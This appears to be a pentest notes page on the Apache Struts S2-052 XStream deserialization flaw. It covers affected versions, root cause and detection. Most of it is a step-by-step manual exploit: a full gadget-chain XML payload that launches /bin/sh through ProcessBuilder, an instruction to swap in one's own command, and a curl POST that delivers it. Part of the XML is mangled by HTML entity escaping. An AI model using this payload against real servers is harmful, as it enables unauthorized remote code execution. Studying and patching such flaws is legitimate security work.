Skip to main content

s2-052-remote-code-execution

S2-052 Remote Code Execution

Affected Versions

S2-052 affects the following Struts versions:

  • 2.1.2 – 2.3.33
  • 2.5 – 2.5.12

Root Cause

  • Struts REST plugin uses XStream for XML deserialization
  • Proper class filtering was missing
  • Attacker-controlled XML is deserialized into Java objects
  • Results in arbitrary object creation → code execution

Filtering existed elsewhere in Struts, but not in the REST plugin

Vulnerability Type

  • Insecure Deserialization
  • XML-based payload
  • No authentication required
  • Requires REST plugin enabled

Attack Surface

  • Endpoints accepting:
    • application/xml
    • application/json (converted internally)
  • Common REST URLs:
    • /orders
    • /users
    • /api/*
  • Usually triggered via POST request

Exploitation

  1. Send malicious XML payload
  2. XML is deserialized by XStream
  3. Malicious Java object is instantiated
  4. Command is executed on the server

Payload

  • Uses XStream gadget chains
  • Often leverages:
    • java.lang.ProcessBuilder
    • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
success

Metasploit Framework has a module for it called exploit/multi/http/struts2_rest_xstream.

success

Python PoC script can be found here.

Manual Method

  1. Save the following file:
info

Make sure to modify the command payload.

payload.xml
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<strong> &#x3C;string>/bin/sh&#x3C;/string>&#x3C;string>-c&#x3C;/string>&#x3C;string>zc00l&#x3C;/string>
</strong> &#x3C;/command>
&#x3C;redirectErrorStream>false&#x3C;/redirectErrorStream>
&#x3C;/next>
&#x3C;/iter>
&#x3C;filter class="javax.imageio.ImageIO$ContainsFilter">
&#x3C;method>
&#x3C;class>java.lang.ProcessBuilder&#x3C;/class>
&#x3C;name>start&#x3C;/name>
&#x3C;parameter-types/>
&#x3C;/method>
&#x3C;name>p4WVJLW2H&#x3C;/name>
&#x3C;/filter>
&#x3C;next class="string">6Fcg22xLlaHiIK8&#x3C;/next>
&#x3C;/serviceIterator>
&#x3C;lock/>
&#x3C;/cipher>
&#x3C;input class="java.lang.ProcessBuilder$NullInputStream"/>
&#x3C;ibuffer>&#x3C;/ibuffer>
&#x3C;done>false&#x3C;/done>
&#x3C;ostart>0&#x3C;/ostart>
&#x3C;ofinish>0&#x3C;/ofinish>
&#x3C;closed>false&#x3C;/closed>
&#x3C;/is>
&#x3C;consumed>false&#x3C;/consumed>
&#x3C;/dataSource>
&#x3C;transferFlavors/>
&#x3C;/dataHandler>
&#x3C;dataLen>0&#x3C;/dataLen>
&#x3C;/value>
&#x3C;/jdk.nashorn.internal.objects.NativeString>
&#x3C;jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
&#x3C;/entry>
&#x3C;entry>
&#x3C;jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
&#x3C;jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
&#x3C;/entry>
&#x3C;/map>

  1. Then run the following command:
❯ curl -X POST http://rezydev.xyz/orders.xhtml -H 'Content-Type: application/xml' --data @payload.xml

Detection Strategy

  • Identify Struts + REST plugin
  • Send malformed or malicious XML
  • Observe:
    • Command output
    • Error messages
    • Delayed responses (sleep payload)